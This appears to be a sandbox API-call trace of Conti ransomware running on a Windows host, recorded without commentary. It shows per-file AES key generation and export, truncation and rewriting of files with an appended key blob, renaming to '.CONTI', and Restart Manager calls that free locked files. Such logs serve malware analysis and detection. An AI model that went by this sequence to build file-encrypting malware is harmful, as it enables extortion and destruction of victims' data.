	[0094.023] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\DHtmlHeader.html" | out: lpString1="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned="C:\\588bce7c90097ed212\\DHtmlHeader.html"
	[0094.023] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\DHtmlHeader.html", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\DHtmlHeader.html.CONTI") returned="C:\\588bce7c90097ed212\\DHtmlHeader.html.CONTI"
	[0094.023] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), lpNewFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.CONTI" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.conti")) returned 1
	[0094.033] GetProcessHeap () returned 0x1720000
	[0094.033] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0094.034] CryptDestroyKey (hKey=0x175e570) returned 1
	[0094.034] GetProcessHeap () returned 0x1720000
	[0094.034] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0550 | out: hHeap=0x1720000) returned 1
	[0094.034] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0094.034] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x17c4a28 | out: phKey=0x17c4a28*=0x175e630) returned 1
	[0094.034] CryptExportKey (in: hKey=0x175e630, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4a2c, pdwDataLen=0x40bfa14 | out: pbData=0x17c4a2c*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0094.035] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80
	[0094.037] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0094.038] GetLastError () returned 0x0
	[0094.038] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x40bf9c0 | out: lpFileSize=0x40bf9c0*=30120) returned 1
	[0094.038] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x75a8
	[0094.038] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.038] SetEndOfFile (hFile=0x348) returned 1
	[0094.038] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.038] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.038] WriteFile (in: hFile=0x348, lpBuffer=0x17c4a2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x40bf9cc, lpOverlapped=0x0 | out: lpBuffer=0x17c4a2c*, lpNumberOfBytesWritten=0x40bf9cc*=0x20c, lpOverlapped=0x0) returned 1
	[0094.047] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.047] ReadFile (in: hFile=0x348, lpBuffer=0xacc0000, nNumberOfBytesToRead=0x75a8, lpNumberOfBytesRead=0x40bf9ec, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesRead=0x40bf9ec*=0x75a8, lpOverlapped=0x0) returned 1
	[0094.049] CryptEncrypt (in: hKey=0x175e630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x75a8, dwBufLen=0x500000 | out: pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x75b0) returned 1
	[0094.049] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.049] WriteFile (in: hFile=0x348, lpBuffer=0xacc0000*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x40bfa00, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesWritten=0x40bfa00*=0x75b0, lpOverlapped=0x0) returned 1
	[0094.049] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.049] WriteFile (in: hFile=0x348, lpBuffer=0x17c4a20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x40bfa18, lpOverlapped=0x0 | out: lpBuffer=0x17c4a20*, lpNumberOfBytesWritten=0x40bfa18*=0x8, lpOverlapped=0x0) returned 1
	[0094.050] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.050] CloseHandle (hObject=0x348) returned 1
	[0094.051] GetProcessHeap () returned 0x1720000
	[0094.051] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
	[0094.051] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\SetupUi.xsd" | out: lpString1="C:\\588bce7c90097ed212\\SetupUi.xsd") returned="C:\\588bce7c90097ed212\\SetupUi.xsd"
	[0094.051] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\SetupUi.xsd", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\SetupUi.xsd.CONTI") returned="C:\\588bce7c90097ed212\\SetupUi.xsd.CONTI"
	[0094.051] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), lpNewFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.CONTI" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.conti")) returned 1
	[0094.052] GetProcessHeap () returned 0x1720000
	[0094.052] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0094.052] CryptDestroyKey (hKey=0x175e630) returned 1
	[0094.052] GetProcessHeap () returned 0x1720000
	[0094.052] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d3c8 | out: hHeap=0x1720000) returned 1
	[0094.052] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0095.300] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d3b18 | out: phKey=0x17d3b18*=0x17c8070) returned 1
	[0095.300] CryptExportKey (in: hKey=0x17c8070, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3b1c, pdwDataLen=0x40bfa14 | out: pbData=0x17d3b1c*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0095.301] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20
	[0095.429] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0095.429] GetLastError () returned 0x0
	[0095.429] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x40bf9c0 | out: lpFileSize=0x40bf9c0*=69632) returned 1
	[0095.429] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0095.429] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.429] SetEndOfFile (hFile=0x348) returned 1
	[0097.108] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.108] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.108] WriteFile (in: hFile=0x348, lpBuffer=0x17d3b1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x40bf9cc, lpOverlapped=0x0 | out: lpBuffer=0x17d3b1c*, lpNumberOfBytesWritten=0x40bf9cc*=0x20c, lpOverlapped=0x0) returned 1
	[0097.109] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.109] ReadFile (in: hFile=0x348, lpBuffer=0xacc0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x40bf9ec, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesRead=0x40bf9ec*=0x11000, lpOverlapped=0x0) returned 1
	[0097.112] CryptEncrypt (in: hKey=0x17c8070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x11000, dwBufLen=0x500000 | out: pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x11010) returned 1
	[0097.112] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.112] WriteFile (in: hFile=0x348, lpBuffer=0xacc0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x40bfa00, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesWritten=0x40bfa00*=0x11010, lpOverlapped=0x0) returned 1
	[0097.112] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.113] WriteFile (in: hFile=0x348, lpBuffer=0x17d3b10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x40bfa18, lpOverlapped=0x0 | out: lpBuffer=0x17d3b10*, lpNumberOfBytesWritten=0x40bfa18*=0x8, lpOverlapped=0x0) returned 1
	[0097.113] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.113] CloseHandle (hObject=0x348) returned 1
	[0097.115] GetProcessHeap () returned 0x1720000
	[0097.115] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.115] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx"
	[0097.115] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.CONTI"
	[0097.115] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.conti")) returned 1
	[0097.115] GetProcessHeap () returned 0x1720000
	[0097.115] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.117] CryptDestroyKey (hKey=0x17c8070) returned 1
	[0097.117] GetProcessHeap () returned 0x1720000
	[0097.117] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176b8a8 | out: hHeap=0x1720000) returned 1
	[0097.117] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0099.162] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x17e8d98 | out: phKey=0x17e8d98*=0x17c85f0) returned 1
	[0099.162] CryptExportKey (in: hKey=0x17c85f0, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e8d9c, pdwDataLen=0x40bfa14 | out: pbData=0x17e8d9c*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0099.163] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml")) returned 0x20
	[0099.163] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4
	[0099.163] GetLastError () returned 0x0
	[0099.163] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x40bf9c0 | out: lpFileSize=0x40bf9c0*=21009) returned 1
	[0099.163] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5211
	[0099.164] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.164] SetEndOfFile (hFile=0x3a4) returned 1
	[0101.777] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0101.777] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.777] WriteFile (in: hFile=0x3a4, lpBuffer=0x17e8d9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x40bf9cc, lpOverlapped=0x0 | out: lpBuffer=0x17e8d9c*, lpNumberOfBytesWritten=0x40bf9cc*=0x20c, lpOverlapped=0x0) returned 1
	[0102.680] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.680] ReadFile (in: hFile=0x3a4, lpBuffer=0xacc0000, nNumberOfBytesToRead=0x5211, lpNumberOfBytesRead=0x40bf9ec, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesRead=0x40bf9ec*=0x5211, lpOverlapped=0x0) returned 1
	[0102.682] CryptEncrypt (in: hKey=0x17c85f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x5211, dwBufLen=0x500000 | out: pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x5220) returned 1
	[0102.682] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.682] WriteFile (in: hFile=0x3a4, lpBuffer=0xacc0000*, nNumberOfBytesToWrite=0x5220, lpNumberOfBytesWritten=0x40bfa00, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesWritten=0x40bfa00*=0x5220, lpOverlapped=0x0) returned 1
	[0102.682] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.682] WriteFile (in: hFile=0x3a4, lpBuffer=0x17e8d90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x40bfa18, lpOverlapped=0x0 | out: lpBuffer=0x17e8d90*, lpNumberOfBytesWritten=0x40bfa18*=0x8, lpOverlapped=0x0) returned 1
	[0102.682] SetFilePointer (in: hFile=0x3a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.683] CloseHandle (hObject=0x3a4) returned 1
	[0103.421] GetProcessHeap () returned 0x1720000
	[0103.421] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x655df38
	[0103.422] lstrcpyW (in: lpString1=0x655df38, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml"
	[0103.422] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml.CONTI"
	[0103.422] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml.conti")) returned 1
	[0104.247] GetProcessHeap () returned 0x1720000
	[0104.247] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x655df38 | out: hHeap=0x1720000) returned 1
	[0104.247] CryptDestroyKey (hKey=0x17c85f0) returned 1
	[0104.247] GetProcessHeap () returned 0x1720000
	[0104.247] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb1c0 | out: hHeap=0x1720000) returned 1
	[0104.249] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0104.990] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d4fa0 | out: phKey=0x17d4fa0*=0x17c80b0) returned 1
	[0104.990] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4fa4, pdwDataLen=0x40bfa14 | out: pbData=0x17d4fa4*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0104.990] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json")) returned 0x120
	[0104.991] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.991] GetLastError () returned 0x5
	[0104.991] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0104.991] GetProcessHeap () returned 0x1720000
	[0104.991] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6f28 | out: hHeap=0x1720000) returned 1
	[0104.991] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0105.431] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d3b18 | out: phKey=0x17d3b18*=0x17c8430) returned 1
	[0105.431] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3b1c, pdwDataLen=0x40bfa14 | out: pbData=0x17d3b1c*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0105.432] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml")) returned 0x20
	[0105.432] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.432] GetLastError () returned 0x5
	[0105.432] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0105.432] GetProcessHeap () returned 0x1720000
	[0105.432] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d308 | out: hHeap=0x1720000) returned 1
	[0105.432] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0106.335] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d5d50 | out: phKey=0x17d5d50*=0x17c8430) returned 1
	[0106.336] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5d54, pdwDataLen=0x40bfa14 | out: pbData=0x17d5d54*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0106.336] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.jfm" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.jfm")) returned 0x20
	[0106.336] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.jfm" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.jfm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0106.337] GetLastError () returned 0x20
	[0106.337] RmStartSession () returned 0x0
	[0107.712] RmRegisterResources () returned 0x0
	[0107.729] RmGetList () returned 0xea
	[0111.067] RmShutdown () returned 0x15e
	[0122.281] RmEndSession () returned 0x0
	[0122.287] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0122.287] GetProcessHeap () returned 0x1720000
	[0122.287] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740550 | out: hHeap=0x1720000) returned 1
	[0122.287] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0122.287] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d2a8 | out: phKey=0x6b4d2a8*=0x6b7eb38) returned 1
	[0122.287] CryptExportKey (in: hKey=0x6b7eb38, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d2ac, pdwDataLen=0x40bfa14 | out: pbData=0x6b4d2ac*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0122.289] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.009.etl")) returned 0x2020
	[0122.290] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.009.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.009.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0
	[0122.290] GetLastError () returned 0x0
	[0122.290] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x40bf9c0 | out: lpFileSize=0x40bf9c0*=8192) returned 1
	[0122.290] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0122.290] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.290] SetEndOfFile (hFile=0x3c0) returned 1
	[0122.291] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0122.291] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.291] WriteFile (in: hFile=0x3c0, lpBuffer=0x6b4d2ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x40bf9cc, lpOverlapped=0x0 | out: lpBuffer=0x6b4d2ac*, lpNumberOfBytesWritten=0x40bf9cc*=0x20c, lpOverlapped=0x0) returned 1
	[0122.292] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
